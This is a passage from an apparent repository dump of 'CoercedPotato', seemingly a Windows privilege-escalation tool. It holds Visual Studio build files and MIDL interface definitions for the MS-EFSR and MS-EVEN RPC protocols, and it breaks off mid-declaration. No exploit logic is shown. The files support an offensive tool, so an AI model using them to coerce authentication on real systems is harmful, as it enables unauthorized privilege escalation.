<ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"CoercedPotato.cpp\" />\n    <ClCompile Include=\"CoerceFunctions.cpp\" />\n    <ClCompile Include=\"rpc_interfaces\\ms-efsr_c.c\" />\n    <ClCompile Include=\"rpc_interfaces\\ms-rprn_c.c\" />\n    <ClCompile Include=\"win32errorcodes\\c\\win32errors.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"CLI11.hpp\" />\n    <ClInclude Include=\"CoerceFunctions.h\" />\n    <ClInclude Include=\"lib\\ms-efsr_h.h\" />\n    <ClInclude Include=\"lib\\ms-rprn_h.h\" />\n    <ClInclude Include=\"win32errorcodes\\c\\win32errors.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "CoercedPotato.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Fichiers sources\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Fichiers d%27en-tête\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Fichiers de ressources\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"CoercedPotato.cpp\">\n      <Filter>Fichiers sources</Filter>\n    </ClCompile>\n    <ClCompile Include=\"CoerceFunctions.cpp\">\n      <Filter>Fichiers sources</Filter>\n    </ClCompile>\n    <ClCompile Include=\"rpc_interfaces\\ms-efsr_c.c\">\n      <Filter>Fichiers sources</Filter>\n    </ClCompile>\n    <ClCompile Include=\"rpc_interfaces\\ms-rprn_c.c\">\n      <Filter>Fichiers sources</Filter>\n    </ClCompile>\n    <ClCompile Include=\"win32errorcodes\\c\\win32errors.c\">\n      <Filter>Fichiers sources</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"CLI11.hpp\">\n      <Filter>Fichiers d%27en-tête</Filter>\n    </ClInclude>\n    <ClInclude Include=\"CoerceFunctions.h\">\n      <Filter>Fichiers d%27en-tête</Filter>\n    </ClInclude>\n    <ClInclude Include=\"lib\\ms-efsr_h.h\">\n      <Filter>Fichiers d%27en-tête</Filter>\n    </ClInclude>\n    <ClInclude Include=\"lib\\ms-rprn_h.h\">\n      <Filter>Fichiers d%27en-tête</Filter>\n    </ClInclude>\n    <ClInclude Include=\"win32errorcodes\\c\\win32errors.h\">\n      <Filter>Fichiers d%27en-tête</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "IDL_FILES/ms-efsr.idl",
    "content": "[\n\tuuid(df1941c5-fe89-4e79-bf10-463657acf44d),\n\t\tversion(1.0),\n]\ninterface efsrpc_through_pipe_efsrpc\n{\n\ttypedef pipe unsigned char EFS_EXIM_PIPE;\n\ttypedef unsigned long DWORD, * PDWORD, * LPDWORD;\n\ttypedef int BOOL;\n\n\ttypedef struct _EFS_HASH_BLOB {\n\t\t[range(0, 100)] DWORD cbData;\n\t\t[size_is(cbData)] unsigned char* bData;\n\t} EFS_HASH_BLOB;\n\n\ttypedef struct _RPC_SID_IDENTIFIER_AUTHORITY {\n\t\tbyte Value[6];\n\t} RPC_SID_IDENTIFIER_AUTHORITY;\n\n\ttypedef struct _RPC_SID {\n\t\tunsigned char Revision;\n\t\tunsigned char SubAuthorityCount;\n\t\tRPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n\t\t[size_is(SubAuthorityCount)] unsigned long SubAuthority[];\n\t} RPC_SID,* PRPC_SID, * PSID;\n\n\ttypedef struct _CERTIFICATE_BLOB {\n\t\tDWORD dwCertEncodingType;\n\t\t[range(0, 32768)] DWORD cbData;\n\t\t[size_is(cbData)] unsigned char* bData;\n\t} EFS_CERTIFICATE_BLOB;\n\n\ttypedef struct _ENCRYPTION_CERTIFICATE {\n\t\tDWORD cbTotalLength;\n\t\tRPC_SID* UserSid;\n\t\tEFS_CERTIFICATE_BLOB* CertBlob;\n\t} ENCRYPTION_CERTIFICATE;\n\n\ttypedef struct _ENCRYPTION_CERTIFICATE_LIST {\n\t\t[range(0, 500)] DWORD nUsers;\n\t\t[size_is(nUsers, )] ENCRYPTION_CERTIFICATE** Users;\n\t} ENCRYPTION_CERTIFICATE_LIST;\n\n\ttypedef struct _ENCRYPTION_CERTIFICATE_HASH {\n\t\tDWORD cbTotalLength;\n\t\tRPC_SID* UserSid;\n\t\tEFS_HASH_BLOB* Hash;\n\t\t[string] wchar_t* lpDisplayInformation;\n\t} ENCRYPTION_CERTIFICATE_HASH;\n\n\ttypedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST {\n\t\t[range(0, 500)] DWORD nCert_Hash;\n\t\t[size_is(nCert_Hash, )] ENCRYPTION_CERTIFICATE_HASH** Users;\n\t} ENCRYPTION_CERTIFICATE_HASH_LIST;\n\n\ttypedef [context_handle] void* PEXIMPORT_CONTEXT_HANDLE;\n\n\ttypedef struct _EFS_RPC_BLOB {\n\t\t[range(0, 266240)] DWORD cbData;\n\t\t[size_is(cbData)] unsigned char* bData;\n\t} EFS_RPC_BLOB, * PEFS_RPC_BLOB;\n\n\ttypedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE {\n\t\tDWORD dwEfsAccessType;\n\t\tENCRYPTION_CERTIFICATE_HASH_LIST* CertificatesAdded;\n\t\tENCRYPTION_CERTIFICATE* EncryptionCertificate;\n\t\tEFS_RPC_BLOB* EfsStreamSignature;\n\t} ENCRYPTED_FILE_METADATA_SIGNATURE;\n\n\ttypedef struct _ENCRYPTION_PROTECTOR {\n\t\tDWORD cbTotalLength;\n\t\tRPC_SID* UserSid;\n\t\t[string] wchar_t* lpProtectorDescriptor;\n\t} ENCRYPTION_PROTECTOR, * PENCRYPTION_PROTECTOR;\n\n\ttypedef struct _ENCRYPTION_PROTECTOR_LIST {\n\t\tDWORD nProtectors;\n\t\t[size_is(nProtectors)] PENCRYPTION_PROTECTOR* pProtectors;\n\t} ENCRYPTION_PROTECTOR_LIST, * PENCRYPTION_PROTECTOR_LIST;\n\n\n\ttypedef struct Struct_68_t\n\t{\n\t\tchar \tStructMember0[6];\n\t}Struct_68_t;\n\n\ttypedef struct Struct_100_t\n\t{\n\t\tchar \tStructMember0;\n\t\tchar \tStructMember1;\n\t\tstruct Struct_68_t \tStructMember2;\n\t\t[size_is(StructMember1)]/*[range(0,0)]*/ long StructMember3[];\n\t}Struct_100_t;\n\n\ttypedef struct Struct_136_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] [size_is(StructMember0)]/*[range(0,100)]*/ char* StructMember1;\n\t}Struct_136_t;\n\n\ttypedef struct Struct_152_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] struct Struct_100_t* StructMember1;\n\t\t[unique] struct Struct_136_t* StructMember2;\n\t\t[unique] [string] wchar_t* StructMember3;\n\t}Struct_152_t;\n\n\ttypedef struct Struct_220_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,500)]*/  /*  */ struct Struct_152_t** StructMember1;\n\t}Struct_220_t;\n\n\ttypedef struct Struct_266_t\n\t{\n\t\tlong \tStructMember0;\n\t\tlong \tStructMember1;\n\t\t[unique] [size_is(StructMember1)]/*[range(0,32768)]*/ char* StructMember2;\n\t}Struct_266_t;\n\n\ttypedef struct Struct_282_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] struct Struct_100_t* StructMember1;\n\t\t[unique] struct Struct_266_t* StructMember2;\n\t}Struct_282_t;\n\n\ttypedef struct Struct_346_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,500)]*/  /*  */ struct Struct_282_t** StructMember1;\n\t}Struct_346_t;\n\n\ttypedef struct Struct_392_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] [size_is(StructMember0)]/*[range(0,266240)]*/ char* StructMember1;\n\t}Struct_392_t;\n\n\ttypedef struct Struct_462_t\n\t{\n\t\t[range(0, 8)] long \tStructMember0;\n\t\t[range(0, 2048)] long \tStructMember1;\n\t\t[unique] [size_is(/* FC_EXPR */(StructMember1 + StructMember0))]/*[range(0,0)]*/ char* StructMember2;\n\t}Struct_462_t;\n\n\ttypedef struct Struct_492_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] struct Struct_220_t* StructMember1;\n\t\t[unique] struct Struct_282_t* StructMember2;\n\t\t[unique] struct Struct_392_t* StructMember3;\n\t}Struct_492_t;\n\n\ttypedef struct Struct_530_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] struct Struct_100_t* StructMember1;\n\t\t[unique] [string] wchar_t* StructMember2;\n\t}Struct_530_t;\n\n\ttypedef struct Struct_594_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/  /*  */ struct Struct_530_t** StructMember1;\n\t}Struct_594_t;\n\n\ttypedef struct Struct_762_t\n\t{\n\t\tchar \tStructMember0[16];\n\t}Struct_762_t;\n\n\ttypedef struct Struct_836_t\n\t{\n\t\tlong \tStructMember0;\n\t\tlong \tStructMember1;\n\t}Struct_836_t;\n\n\ttypedef struct Struct_850_t\n\t{\n\t\tlong \tStructMember0;\n\t\tshort \tStructMember1;\n\t\tshort \tStructMember2;\n\t\tbyte \tStructMember3[8];\n\t}Struct_850_t;\n\n\ttypedef struct Struct_904_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/  /*  */ struct Struct_850_t* StructMember1;\n\t\thyper \tStructMember2;\n\t\t[unique] [string] wchar_t* StructMember3;\n\t\tstruct Struct_836_t \tStructMember4;\n\t}Struct_904_t;\n\n\ttypedef struct Struct_972_t\n\t{\n\t\tlong \tStructMember0;\n\t\t[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/  /*  */ struct Struct_904_t** StructMember1;\n\t}Struct_972_t;\n\n\tlong EfsRpcOpenFileRaw(\n\t\t[in] handle_t binding_h,\n\t\t[out] PEXIMPORT_CONTEXT_HANDLE* hContext,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] long Flags\n\t);\n\n\tlong EfsRpcReadFileRaw(\n\t\t[in] PEXIMPORT_CONTEXT_HANDLE hContext,\n\t\t[out] EFS_EXIM_PIPE* EfsOutPipe\n\t);\n\n\tlong EfsRpcWriteFileRaw(\n\t\t[in] PEXIMPORT_CONTEXT_HANDLE hContext,\n\t\t[in] EFS_EXIM_PIPE* EfsInPipe\n\t);\n\n\tvoid EfsRpcCloseRaw(\n\t\t[in, out] PEXIMPORT_CONTEXT_HANDLE* hContext\n\t);\n\n\tlong EfsRpcEncryptFileSrv(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName\n\t);\n\n\tlong EfsRpcDecryptFileSrv(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] unsigned long OpenFlag\n\t);\n\n\tDWORD EfsRpcQueryUsersOnFile(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[out] ENCRYPTION_CERTIFICATE_HASH_LIST** Users\n\t);\n\n\tDWORD EfsRpcQueryRecoveryAgents(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[out] ENCRYPTION_CERTIFICATE_HASH_LIST** RecoveryAgents\n\t);\n\n\tDWORD EfsRpcRemoveUsersFromFile(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] ENCRYPTION_CERTIFICATE_HASH_LIST* Users\n\t);\n\n\tDWORD EfsRpcAddUsersToFile(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] ENCRYPTION_CERTIFICATE_LIST* EncryptionCertificates\n\t);\n\n\tlong Proc10_EfsRpcSetFileEncryptionKey(\n\t\t[in][unique]struct Struct_282_t* arg_1,\n\t\t[in]long arg_2,\n\t\t[in]long arg_3);\n\n\tDWORD EfsRpcNotSupported(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* Reserved1,\n\t\t[in, string] wchar_t* Reserved2,\n\t\t[in] DWORD dwReserved1,\n\t\t[in] DWORD dwReserved2,\n\t\t[in, unique] EFS_RPC_BLOB* Reserved,\n\t\t[in] BOOL bReserved\n\t);\n\n\n\tDWORD EfsRpcFileKeyInfo(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] DWORD InfoClass,\n\t\t[out] EFS_RPC_BLOB** KeyInfo\n\t);\n\n\tDWORD EfsRpcDuplicateEncryptionInfoFile(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* SrcFileName,\n\t\t[in, string] wchar_t* DestFileName,\n\t\t[in] DWORD dwCreationDisposition,\n\t\t[in] DWORD dwAttributes,\n\t\t[in, unique] EFS_RPC_BLOB* RelativeSD,\n\t\t[in] BOOL bInheritHandle\n\t);\n\n\tlong Proc14_EfsUsePinForEncryptedFiles(\n\t\t[in]struct Struct_136_t* arg_1,\n\t\t[in]struct Struct_462_t* arg_2);\n\n\tDWORD EfsRpcAddUsersToFileEx(\n\t\t[in] handle_t binding_h,\n\t\t[in] DWORD dwFlags,\n\t\t[in, unique] EFS_RPC_BLOB* Reserved,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] ENCRYPTION_CERTIFICATE_LIST* EncryptionCertificates\n\t);\n\n\tDWORD EfsRpcFileKeyInfoEx(\n\t\t[in] handle_t binding_h,\n\t\t[in] DWORD dwFileKeyInfoFlags,\n\t\t[in, unique] EFS_RPC_BLOB* Reserved,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in] DWORD InfoClass,\n\t\t[out] EFS_RPC_BLOB** KeyInfo\n\t);\n\n\tlong Proc17_EfsRpcFileKeyInfoEx(\n\t\t[out][ref]struct Struct_392_t** arg_1);\n\n\tDWORD EfsRpcGetEncryptedFileMetadata(\n\t\t[in] handle_t binding_h,\n\t\t[in, string, ref] wchar_t* FileName,\n\t\t[out, ref] EFS_RPC_BLOB** EfsStreamBlob\n\t);\n\n\tDWORD EfsRpcSetEncryptedFileMetadata(\n\t\t[in] handle_t binding_h,\n\t\t[in, string, ref] wchar_t* FileName,\n\t\t[in, unique] EFS_RPC_BLOB* OldEfsStreamBlob,\n\t\t[in, ref] EFS_RPC_BLOB* NewEfsStreamBlob,\n\t\t[in, unique] ENCRYPTED_FILE_METADATA_SIGNATURE* NewEfsSignature\n\t);\n\n\tDWORD EfsRpcFlushEfsCache(\n\t\t[in] handle_t binding_h\n\t);\n\n\tlong EfsRpcEncryptFileExSrv(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[in, string, unique] wchar_t* ProtectorDescriptor,\n\t\t[in] unsigned long Flags\n\t);\n\n\tDWORD EfsRpcQueryProtectors(\n\t\t[in] handle_t binding_h,\n\t\t[in, string] wchar_t* FileName,\n\t\t[out] PENCRYPTION_PROTECTOR_LIST** ppProtectorList);\n\n\tlong Proc23_EfsRpcWriteFileWithHeaderRaw(\n\t\t[in][context_handle] void* arg_0,\n\t\t[in]pipe char* arg_1,\n\t\t[in]struct Struct_392_t* arg_2,\n\t\t[in]hyper arg_3,\n\t\t[in]long arg_4);\n\n\tlong Proc24_EdpRpcCredentialCreate(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in][ptr][string] wchar_t* arg_3,\n\t\t[out][ref][string] wchar_t** arg_4);\n\n\tlong Proc25_EdpRpcCredentialQuery(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in][ptr][string] wchar_t* arg_3,\n\t\t[out][ref][string] wchar_t** arg_4);\n\n\tlong Proc26_EdpRpcCredentialExists(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in][ptr][string] wchar_t* arg_3,\n\t\t[out]long* arg_4);\n\n\tlong Proc27_EdpRpcCredentialDelete(\n\t\t[in]long arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in][ptr][string] wchar_t* arg_3,\n\t\t[in][ptr][string] wchar_t* arg_4,\n\t\t[in][ptr][string] wchar_t* arg_5);\n\n\tlong Proc28_EdpRpcQueryRevokedPolicyOwnerIds(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in]long arg_2,\n\t\t[out][ref][string] wchar_t** arg_3);\n\n\tlong Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[out][ref][string] wchar_t** arg_2);\n\n\tlong Proc30_EdpRpcGetLockSessionWrappedKey(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][size_is(arg_3)]/*[range(0,0)]*/ char* arg_2,\n\t\t[in]long arg_3,\n\t\t[out][ref][size_is(, *arg_5)]/*[range(0,0)]*/ char** arg_4,\n\t\t[out]long* arg_5,\n\t\t[out][ref][size_is(, *arg_7)]/*[range(0,0)]*/ char** arg_6,\n\t\t[out]long* arg_7);\n\n\tlong Proc31_EdpRpcGetLockSessionUnwrappedKey(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][size_is(arg_3)]/*[range(0,0)]*/ char* arg_2,\n\t\t[in]long arg_3,\n\t\t[in][ptr][size_is(arg_5)]/*[range(0,0)]*/ char* arg_4,\n\t\t[in]long arg_5,\n\t\t[out][ref][size_is(, *arg_7)]/*[range(0,0)]*/ char** arg_6,\n\t\t[out]long* arg_7);\n\n\tlong Proc32_EdpRpcGetCredServiceState(\n\t\t[out]long* arg_1,\n\t\t[out]long* arg_2,\n\t\t[out]long* arg_3,\n\t\t[out]long* arg_4,\n\t\t[out]long* arg_5,\n\t\t[out]long* arg_6,\n\t\t[out]long* arg_7,\n\t\t[out]long* arg_8,\n\t\t[out]long* arg_9);\n\n\tlong Proc33_EdpRpcDplUpgradePinInfo(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[out]long* arg_2,\n\t\t[out]long* arg_3,\n\t\t[out]long* arg_4);\n\n\tlong Proc34_EdpRpcDplUpgradeVerifyUser(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[out]long* arg_3,\n\t\t[out]unsigned __int3264* arg_4);\n\n\tlong Proc35_EdpRpcDplUserCredentialsSet(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in]/* enum_16 */ short arg_3,\n\t\t[in]unsigned __int3264 arg_4);\n\n\tlong Proc36_EdpRpcDplUserUnlockStart(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in]hyper arg_3,\n\t\t[out]unsigned __int3264* arg_4);\n\n\tlong Proc37_EdpRpcDplUserUnlockComplete(\n\t\t[in][ptr][string] wchar_t* arg_1,\n\t\t[in]long arg_2,\n\t\t[in]unsigned __int3264 arg_3);\n\n\tlong Proc38_EdpRpcQueueFileForEncryption(\n\t\t[in][unique]struct Struct_762_t* arg_1,\n\t\t[in][unique][string] wchar_t* arg_2,\n\t\t[in][unique][string] wchar_t* arg_3,\n\t\t[in][string] wchar_t* arg_4);\n\n\tlong Proc39_EdpRpcServiceFileEncryptionQueue(\n\t\t[in]char arg_1);\n\n\tlong Proc40_EdpRpcCredSvcControl(\n\t\t[in]long arg_1,\n\t\t[in][ptr][string] wchar_t* arg_2,\n\t\t[in][ptr][string] wchar_t* arg_3,\n\t\t[in][ptr][size_is(arg_5)]/*[range(0,0)]*/ char* arg_4,\n\t\t[in]long arg_5,\n\t\t[in][ptr][size_is(arg_7)]/*[range(0,0)]*/ char* arg_6,\n\t\t[in]long arg_7,\n\t\t[out][ref][size_is(, *arg_9)]/*[range(0,0)]*/ char** arg_8,\n\t\t[out]long* arg_9);\n\n\tlong Proc41_EdpRpcRmsClearKeys(\n\t);\n\n\tlong Proc42_EdpRpcRmsContainerizeFile(\n\t\t[in][string] wchar_t* arg_1,\n\t\t[in][string] wchar_t* arg_2,\n\t\t[in][unique][string] wchar_t* arg_3,\n\t\t[in][string] wchar_t* arg_4,\n\t\t[out][ref][string] wchar_t** arg_5);\n\n\tlong Proc43_EdpRpcRmsGetContainerIdentity(\n\t\t[in][string] wchar_t* arg_1,\n\t\t[out][ref][string] wchar_t** arg_2);\n\n\tlong Proc44_EdpRpcRmsDecontainerizeFile(\n\t\t[in][string] wchar_t* arg_1,\n\t\t[in][string] wchar_t* arg_2,\n\t\t[out][ref][string] wchar_t** arg_3);\n\n\tlong Proc45_EdpRpcAllowFileAccessForProcess(\n\t\t[in][string] wchar_t* arg_1,\n\t\t[in]long arg_2,\n\t\t[in][unique][string] wchar_t* arg_3);\n\n\tlong Proc46_EdpRpcGetTfaCache(\n\t\t[out][ref]struct Struct_972_t** arg_1);\n}"
  },
  {
    "path": "IDL_FILES/ms-even.idl",
    "content": "[\n    uuid(82273FDC-E32A-18C3-3F78-827929DC23EA),\n        version(0.0),\n#ifdef __midl\n        ms_union,\n#endif // __midl\n\n        pointer_default(unique)\n]\n\n\ninterface eventlog\n{\n    // the following line(s) commented out to avoid redefinition of MS-DTYP types\n    //typedef long NTSTATUS;\n\n#define MAX_STRINGS      0x00000100\n#define MAX_SINGLE_EVENT 0x0003FFFF\n#define MAX_BATCH_BUFF   0x0007FFFF\n    typedef long NTSTATUS;\n    typedef unsigned short wchar_t;\n    typedef void* ADCONNECTION_HANDLE;\n    typedef int BOOL, * PBOOL, * LPBOOL;\n    typedef unsigned char BYTE, * PBYTE, * LPBYTE;\n    typedef BYTE BOOLEAN, * PBOOLEAN;\n    typedef wchar_t WCHAR, * PWCHAR;\n    typedef WCHAR* BSTR;\n    typedef char CHAR, * PCHAR;\n    typedef double DOUBLE;\n    typedef unsigned long ULONG, * PULONG;\n    typedef unsigned long DWORD, * PDWORD, * LPDWORD;\n    typedef unsigned int DWORD32;\n    typedef unsigned __int64 DWORD64, * PDWORD64;\n    typedef unsigned __int64 ULONGLONG;\n    typedef ULONGLONG DWORDLONG, * PDWORDLONG;\n    typedef unsigned long error_status_t;\n    typedef float FLOAT;\n    typedef unsigned char UCHAR, * PUCHAR;\n    typedef short SHORT;\n\n\n    typedef struct _RPC_UNICODE_STRING {\n        unsigned short Length;\n        unsigned short MaximumLength;\n        [size_is(MaximumLength / 2), length_is(Length / 2)]\n            WCHAR* Buffer;\n    } RPC_UNICODE_STRING,\n        * PRPC_UNICODE_STRING;\n\n    typedef struct _FILETIME {\n        DWORD dwLowDateTime;\n        DWORD dwHighDateTime;\n    } FILETIME,\n        * PFILETIME,\n        * LPFILETIME;\n\n    typedef struct _RPC_SID_IDENTIFIER_AUTHORITY {\n        byte Value[6];\n    } RPC_SID_IDENTIFIER_AUTHORITY;\n\n    typedef struct _RPC_SID {\n        unsigned char Revision;\n        unsigned char SubAuthorityCount;\n        RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n        [size_is(SubAuthorityCount)] unsigned long SubAuthority[];\n    } RPC_SID,\n        * PRPC_SID,\n        * PSID;\n\n    typedef struct _RPC_STRING\n    {\n        unsigned short Length;\n        unsigned short MaximumLength;\n        [size_is(MaximumLength)] char* Buffer;\n    } RPC_STRING, * PRPC_STRING;\n\n    typedef struct _RPC_CLIENT_ID {\n        unsigned long UniqueProcess;\n        unsigned long UniqueThread;\n    } RPC_CLIENT_ID, * PRPC_CLIENT_ID;\n\n    typedef [handle, unique] wchar_t* EVENTLOG_HANDLE_W;\n    typedef [handle, unique] char* EVENTLOG_HANDLE_A;\n    typedef [context_handle] void* IELF_HANDLE;\n    typedef [context_handle] void** PIELF_HANDLE;\n    typedef [range(0, MAX_BATCH_BUFF)] unsigned long RULONG;\n\n\n    NTSTATUS\n        ElfrClearELFW(\n            [in]           IELF_HANDLE LogHandle,\n            [in, unique]    PRPC_UNICODE_STRING BackupFileName\n        );\n\n    NTSTATUS\n        ElfrBackupELFW(\n            [in]         IELF_HANDLE LogHandle,\n            [in]         PRPC_UNICODE_STRING BackupFileName\n        );\n\n    NTSTATUS\n        ElfrCloseEL(\n            [in, out]        IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrDeregisterEventSource(\n            [in, out]        IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrNumberOfRecords(\n            [in]            IELF_HANDLE         LogHandle,\n            [out]           unsigned long* NumberOfRecords\n        );\n\n    NTSTATUS\n        ElfrOldestRecord(\n            [in]            IELF_HANDLE         LogHandle,\n            [out]           unsigned long* OldestRecordNumber\n        );\n\n    NTSTATUS\n        ElfrChangeNotify(\n            [in]  IELF_HANDLE         LogHandle,\n            [in]  RPC_CLIENT_ID       ClientId,\n            [in]  ULONG               Event\n        );\n\n    NTSTATUS\n        ElfrOpenELW(\n            [in]    EVENTLOG_HANDLE_W UNCServerName,\n            [in]           PRPC_UNICODE_STRING ModuleName,\n            [in]           PRPC_UNICODE_STRING RegModuleName,\n            [in]           unsigned long MajorVersion,\n            [in]           unsigned long MinorVersion,\n            [out]          IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrRegisterEventSourceW(\n            [in]          EVENTLOG_HANDLE_W UNCServerName,\n            [in]          PRPC_UNICODE_STRING ModuleName,\n            [in]          PRPC_UNICODE_STRING RegModuleName,\n            [in]          unsigned long MajorVersion,\n            [in]          unsigned long MinorVersion,\n            [out]         IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrOpenBELW(\n            [in]          EVENTLOG_HANDLE_W UNCServerName,\n            [in]          PRPC_UNICODE_STRING BackupFileName,\n            [in]          unsigned long MajorVersion,\n            [in]          unsigned long MinorVersion,\n            [out]         IELF_HANDLE* LogHandle\n        );\n\n    NTSTATUS\n        ElfrReadELW(\n            [in]         IELF_HANDLE     LogHandle,\n            [in]         unsigned long ReadFlags,\n            [in]         unsigned long RecordOffset,\n            [in]         RULONG NumberOfBytesToRead,\n            [out, size_is(NumberOfBytesToRead)] unsigned char* Buffer,\n            [out]        unsigned long* NumberOfBytesRead,\n            [out]        unsigned long* MinNumberOfBytesNeeded\n        );\n\n    NTSTATUS\n        ElfrReportEventW(\n            [in]         IELF_HANDLE LogHandle,\n            [in]         unsigned long Time,\n            [in]         unsigned short EventType,\n            [in]         unsigned short EventCategory,\n            [in]         unsigned long EventID,\n            [in, range(0, 256)]       unsigned short NumStrings,\n            [in, range(0, 61440)]  unsigned long DataSize,\n            [in]         PRPC_UNICODE_STRING 